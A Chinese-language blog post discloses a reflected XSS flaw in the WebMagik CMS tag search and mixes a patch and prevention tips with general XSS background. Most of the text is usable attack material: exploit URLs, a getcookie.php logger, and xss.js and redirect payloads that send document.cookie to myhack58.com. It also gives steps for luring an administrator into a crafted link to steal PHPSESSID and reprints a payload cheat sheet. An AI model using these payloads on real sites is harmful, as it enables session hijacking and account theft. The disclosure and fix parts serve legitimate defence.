xss漏洞发现及利用

漏洞描述:在使用标签(tag)进行浏览时,由于没有很好的过滤用户输入(tag关键字)造成xss跨站漏洞,用户自定义的版块tag搜索和全局tag搜索列表。

利用形式1:
http://myhack58.com/web2/?u=Club_talk_list&tag=<script>alert('111')</script>
其中http://myhack58.com/web2/为网站连接,Club_talk_list为用户自定义版块。
 
利用形式2:
http://myhack58.com/web2/?a=list&tag=<script>alert("111")</script>
其中http://myhack58.com/web2/为网站连接,这个就是所谓的全局tag搜索。
 
漏洞危害:欺骗用户点击假冒连接盗取访问者的cookies甚至可能危害到访问者电脑安全,涉及帐户的相关信息可能被盗取。
 
漏洞发现者:clin003
已向官方报告漏洞情况。请wm使用者关注官方修补办法。
官方修补办法地址: http://webmagik.cn/bbs/viewthread.php?tid=638&pid=2225 
CODE: 
1 下载 module_list.php (2.83 KB)
并上传覆盖 /meta/module/module_list.php 后台重新生成各模块代码即可。
2 不想重新手工生成代码的,可以直接修改对应的 /umod/XXX_list.php 在页面最上方添加 $_REQUEST['tag'] = strip_tags($_REQUEST['tag']);
 
Added By Easy 
——————————————————————
临时解决办法:
在所有涉及到tag搜索的页面 添加一行代码.
[Copy to clipboard] [ - ]
CODE:
$_REQUEST['tag'] = strip_tags($_REQUEST['tag']);
 
官方在下一个版本会把过滤加进去。顺便说下,在模块基本设定中,如果开启不过滤数据,用户添加的内容也可以存在此问题。
 
----------------------------------
补充下:
在list.php(/mod/list.php)第二十四行的位置回车加上
$_REQUEST['tag'] = strip_tags($_REQUEST['tag']);
这个是全局搜索tag的地方更新模块的时候不会被更新。
——————————————————————
 
 
漏洞发现过程:
在寻找使用过的中文标签为什么会失效的答案。添加一篇文章,然后由于想把“中间带空格的标签”合起来而使用啦单引号比如:‘webmagik  跨站’,提交的时候就出现问题。一堆数据库错误信息!!
怀疑有注入漏洞,,经多次检测没有注入漏洞。
忽然想到检测下跨站的这个xss代码(上次已经检测过搜索框的iframe跨站漏洞,只是没公布)。
 
--------------------------------------------------
下边是介绍xss漏洞的常识
----------------------------------------------------
什么是跨站脚本(CSS/XSS)?
  在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许(由用户输入的)任意HTML显示在用户的浏览器中。
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。
 
XSS和脚本注射的区别?
 
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
 
什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
 HTML
 JavaScript (本文讨论)
 VBScript
 ActiveX
 Flash
 
测试代码:
1,在自己服务器上建立如下文件:
Getcookie.php
 
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('victim.htm', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
 
Xss.js
document.write('<img src="http://myhack58.com/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');
 
2,发送信息给管理员
内容包含下边的连接:
http://myhack58.com/web2/?a=list&tag=<img+src="http://myhack58.com/getcookie.php?c='+document.cookie+'" />_____________一个恶意的开始!!!
 
 
改进后的代码:
http://myhack58.com/web2/?a=list&tag= <script src=http://myhack58.com/xss.js></script>
成功收到cookies
3,等待管理员点击然后检查获得victim.htm内容。
4,复制从PHPSESSID= 到;的内容
 
 
启发来源:WEB漏洞挖掘技术
参考漏洞分析格式:PhpNuke管理员密码可泄露问题
link@myhack58.com
----------------------------------------------------------------------
 
 
相关链接:
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ:http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html
 
--------------------------------------------------------------------
 
 
预防的办法:-----------------------------------------------
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。
   
可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
 
对我们浏览网页的网友来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。
 
 
附带---------------------------------------------
到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。从现在开始,我们将使用它常见的缩写名称 “XSS”。
引用自:测试 Web 应用程序是否存在跨站点脚本漏洞
 
--------------------------------------下边一些参考资料。
 
http://myhack58.com/web2/?a=list&tag=<script>alert("111")</script>
 
 
http://myhack58.com/web2/?a=list&tag=<script>alert('111')</script>
 
 
 
http://myhack58.com/web2/?a=list&tag=<script>alert(111)</script>
 
 
http://myhack58.com/web2/?a=list&tag=<body+οnlοad=alert("1111")>
 
 
http://myhack58.com/web2/?a=list&tag=<body+οnlοad=alert('1111')>
 
 
http://myhack58.com/web2/?a=list&tag=<body+οnlοad=alert(1111)>
 
upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>
 
 
upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>
 
http://myhack58.com/web2/?a=list&tag=<img+src="http://myhack58.com/getcookie.php?c='+document.cookie+'" />_____________一个恶意的开始!!!
 
 
upload/2011/3/201103300326291646.bmp+οnlοad=alert('1111')>
 
 
upload/2011/3/201103300326291646.bmp+οnlοad=alert(1111)>
 
 
http://myhack58.com/web2/?a=list&tag=<"
 
 
http://myhack58.com/web2/?a=list&tag=<'
 
 
http://myhack58.com/web2/?a=list&tag=<
 
 
http://myhack58.com/web2/?a=list&tag=<!--
 
 
http://myhack58.com/web2/?a=list&tag=-->
 
 
http://myhack58.com/web2/?a=list&tag=<!-- -->
 
以上所有的连接都检测出漏洞
 
 
漏洞利用代码:
获得cookie
http://myhack58.com/web2/?a=list&tag=%3Cscript%3Ealert(document.cookie)%3C%2fscript%3E
 
 
==============================================
什么是跨站脚本(CSS/XSS)?
 
 
  在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许(由用户输入的)任意HTML显示在用户的浏览器中。
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。
 
XSS和脚本注射的区别?
 
原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的 漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
 
什么类型的脚本可以被插入远程页面?
 
主流脚本包括以下几种:
 HTML
 JavaScript (本文讨论)
 VBScript
 ActiveX
 Flash
 
是什么原因导致一个站点存在XSS的安全漏洞?
 
许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,
出错信息会被打印到一个html文件,并将该错误页面发送给访问者。
例如: 404 - yourfile.html Not Found! 
 
我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。
 
 
考虑一下它是如何把我们的输入写到html文件里的?
 
OK,现在是我们检查XSS漏洞的时候了!
 
注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面里。当然方法很多www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</script>
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"? 
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。
 
下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404 error页面中,结果创建了一个页面,如下:
          <html>
 
          <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!
 
          </html>
 
其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。
 
 
 
如何利用XSS来完成hacking?
 
如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。
 
事例:
 
假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是b00b这个人。           www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下:     www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面,我们得到如下信息:           Invalid Input! [article=hax0red]
当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
           www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<
/script>
<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对<script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本。
 
 
下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美
如何呀?”
 
那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的脚本
           </script>
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!
 
如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,
那些笨蛋并不会意识到实际发生的事情。
 
把javascript脚本插入WEB页面的不同方法:
 
<snip>
拷贝自:GOBBLES SECURITY ADVISORY #33
 Here is a cut-n-paste collection of typical JavaScript-injection hacks
 you may derive some glee from playing with.
 
  <a href="javascript#[code]">
  <div οnmοuseοver="[code]">
  <img src="javascript:[code]">
  <img dynsrc="javascript:[code]"> [IE]  <input type="image" dynsrc="javascript:[code]"> [IE]
  <bgsound src="javascript:[code]"> [IE]
  &<script>[code]</script>
  &{[code]}; [N4]
  <img src=&{[code]};> [N4]
  <link rel="stylesheet" href="javascript:[code]">
  <iframe src="vbscript:[code]"> [IE]
  <img src="mocha:[code]"> [N4]
  <img src="livescript:[code]"> [N4]
  <a href="about:<script>[code]</script>">
  <meta http-equiv="refresh" content="0;url=javascript:[code]">
  <body οnlοad="[code]">
  <div style="background-image: url(javascript:[code]);">
  <div style="behaviour: url([link to code]);"> [IE]
  <div style="binding: url([link to code]);"> [Mozilla]
  <div style="width: expression([code]);"> [IE]
  <style type="text/javascript">[code]</style> [N4]
  <object classid="clsid:..." codebase="javascript:[code]"> [IE]
  <style><!--</style><script>[code]//--></script>
  <![CDATA[<!--]]><script>[code]//--></script>
  <!-- -- --><script>[code]</script><!-- -- -->
  <script>[code]</script>
  <img src="blah"οnmοuseοver="[code]">
  <img src="blah>" οnmοuseοver="[code]">
  <xml src="javascript:[code]">
  <xml id="X"><a><b><script>[code]</script>;</b></a></xml>
  <div datafld="b" dataformatas="html" datasrc="#X"></div>
  [/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]
 
 ----Copied from GOBBLES SECURITY ADVISORY #33----
 </snip>
 
该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo
g文件。
 
注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。
 
如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。
   
可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。
 
对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。
 
by clin003 at 20070725 from:http://myhack58.com/或http://blog.csdn.net/clin003/
-------------------------------------------------------
典型攻击:涉及XSS的典型攻击通常都需要称为“social engineering(社会工程)”的什么东西。意味着说服某人点击您所创建的某一链接,该链接包含指向某一Web站点的提交功 能,该站点具有XSS漏洞,该链接通过该漏洞提交JavaScript代码。提交的JavaScript代码通常会从用户的浏览器窃取会话cookie, 并将它们提交给攻击者的某一Web站点。攻击者然后可以使用这些会话来冒充受攻击用户,且无需密码。尽管策动这种攻击比较困难,但攻击者却可以很好地文档 化和理解它,因此必须谨慎地加以避免。  预防:为了防止XSS漏洞,在输出到浏览器之前,所有用户输入都必须进行转义。这通常包括将特殊字符转换成HTML换码—例如,将“<”转换成“<”等。详细请参考Neil Smithline(http://dev2dev.bea.com.cn/author/261.html)描述
 
from:http://longrujun.name/blogs/longrujun/archive/2006/12/31/_E88DD97A1A812C6708FF_XSS_09FF0F6F1E6DEE959898F25DCF7E0D4E2F66EE959898_.aspx
--------------------------------------------------------
XSS漏洞基本攻击代码
 
javascript
 
<script>alert(document.cookie);</script>
 
<script>document.location.replace('http://myhack58.com/Test/getcookie.php?c='+document.cookie);</script>
 
document.write('<img src="http://myhack58.com/Test/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');
 
<script src=http://myhack58.com/Test/xss.js></script>
xss.js
 
document.write('<img src="http://myhack58.com/Test/getcookie.php?c='+document.cookie+'" width=0 height=0 border=0 />');
 
getcookie.php
 
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('victim.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
 
 
----------------------------------
 
测试 Web 应用程序是否存在跨站点脚本漏洞
发布日期: 2005年05月06日
 
作者:Chris Weber,Casaba Security,LLC (chris@casabasec.com)
 
到目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。从现在开始,我们将使用它常见的缩写名称 “XSS”。
 
XSS 攻击的过程涉及以下三方:
•   
 
攻击者
•   
 
受害者
•   
 
存在漏洞的网站(攻击者可以使用它对受害者采取行动)
 
在这三方之中,只有受害者会实际运行攻击者的代码。网站仅仅是发起攻击的一个载体,一般不会受到影响。可以用多种方式发起 XSS 攻击。例如,攻击者可通过电子邮件、IM 或其他途径向受害者发送一个经过经心构造的恶意 URL。当受害者在 Web 浏览器中打开该 URL 的时侯,网站会显示一个页面并在受害者的计算机上执行脚本。
 
XSS 漏洞是什么样的呢?
作为一名 Web 开发人员或测试人员,您肯定知道 Web 应用程序的技术基础是由 HTTP 和 HTML 组成的。HTTP 协议是 HTML 的传输机制,可使用代码设计 Web 页面布局和生成页面。
 
如果 Web 应用程序接受用户通过 HTTP 请求(如 GET 或 POST)提交的输入信息,然后使用输出 HTML 代码在某些地方显示这些信息,便可能存在 XSS 漏洞。下面是一个最简单的例子:
 
1. Web 请求如下所示:
GET http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title
 
2. 在发出请求后,服务器返回的 HTML 内容包括:
<h1>Section Title</h1>
 
可以看到,传递给“title”查询字符串参数的用户输入可能被保存在一个字符串变量中并且由 Web 应用程序插入到 <h1> 标记中。通过提供输入内容,攻击者可以控制 HTML。
 
3. 现在,如果站点没有在服务器端对用户输入加以过滤(因为总是可以绕过客户端控件),那么恶意用户便可以使用许多手段对此漏洞加以滥用:
 
攻击者可以通过摆脱 <h1> 标记来注入代码:
http://www.somesite.com/page.asp?pageid=10&lang=en&title=Section%20Title</h1><script>alert(‘XSS%20attack’)</script>
 
这个请求的 HTML 输出将为:
<h1>Section Title</h1><script>alert(‘XSS attack’)</script>
 
即便是这个最简单的例子,攻击者也可以利用此连接完成数不清的事情。让我们看看会有哪些潜在的威胁,然后讨论一些更高级的测试方法。
 
XSS 攻击的威胁有多么严重?
由于能够在生成的 Web 页面中注入代码,能想到的威胁有多么严重,就可以有多么严重的威胁。攻击者可以使用 XSS 漏洞窃取 Cookie,劫持帐户,执行 ActiveX,执行 Flash 内容,强迫您下载软件,或者是对硬盘和数据采取操作。
 
只要您点击了某些 URL,这一切便有可能发生。每天之中,在阅读来自留言板或新闻组的受信任的电子邮件的时侯,您会多少次地单击其中的 URL?
 
网络钓鱼攻击通常利用 XSS 漏洞来装扮成合法站点。可以看到很多这样的情况,比如您的银行给你发来了一封电子邮件,向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。如果仔细观察这些 URL,它们实际上可能利用了银行网站中存在的漏洞,它们的形式类似于 http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script>,这里利用了“redirect”参数来执行攻击。
 
如果您足够狡猾的话,可以将管理员定为攻击目标,您可以发送一封具有如下主题的邮件:“求救!这个网站地址总是出现错误!”在管理员打开该 URL 后,便可以执行许多恶意操作,例如窃取他(或她)的凭证。
 
好了,现在我们已经理解了它的危害性 -- 危害用户,危害管理员,给公司带来坏的公共形象。现在,让我们看看本文的重点 -- 测试您的网站是否存在这些问题。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值